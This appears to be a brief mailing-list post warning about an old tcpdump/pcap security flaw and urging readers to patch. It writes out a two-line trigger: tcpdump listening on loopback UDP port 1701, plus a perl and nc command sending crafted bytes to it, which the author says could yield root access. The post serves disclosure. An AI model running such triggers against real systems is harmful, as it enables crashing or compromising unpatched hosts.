Recent pcap discussions

[WC -Sx- Jones]

I recently (again) run across this issue with a somewhat old TCPDUMP 
security issue; I figured it might be relevant here -- especially 
considering all the recent pcap and tcp/ip sniffing discussions:

Issue -

tcpdump -i lo0 -n udp and dst port 1701 & <Enter>
perl -e 'print "\xff\x02"' | nc -u localhost 1701
The above is a local security hack which could give non-priledged users 
root access.

To Avoid/Fix -

Please make sure you are using correctly patched/updated pcap and 
tcpdump libraries and code.

Just a small fyi;
-Bill-
